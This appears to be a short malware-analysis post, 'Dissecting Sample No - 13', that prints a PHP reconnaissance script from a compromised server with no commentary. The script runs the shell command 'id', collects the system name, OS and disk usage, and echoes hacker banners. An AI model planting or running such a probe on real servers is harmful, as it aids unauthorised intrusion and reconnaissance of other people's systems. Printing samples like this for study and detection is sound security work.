Dissecting Sample No - 13

function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) { return sprintf("%d b", $number); } if($len >= 4 && $len <=6) { return sprintf("%0.2f Kb", $number/1024); } if($len >= 7 && $len <=9) { return sprintf("%0.2f Mb", $number/1024/1024); } return sprintf("%0.2f Gb", $number/1024/1024/1024); } echo "TeamHaCK
";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {
$free = 0;
}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {
$all = 0;
}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo "CaMaChO wAs HeRe ..
";
echo "uname -a: $un
";
echo "os: $os
";
echo "id: $id1
";
echo "free: $free
";
echo "used: $used
";
echo "total: $all
";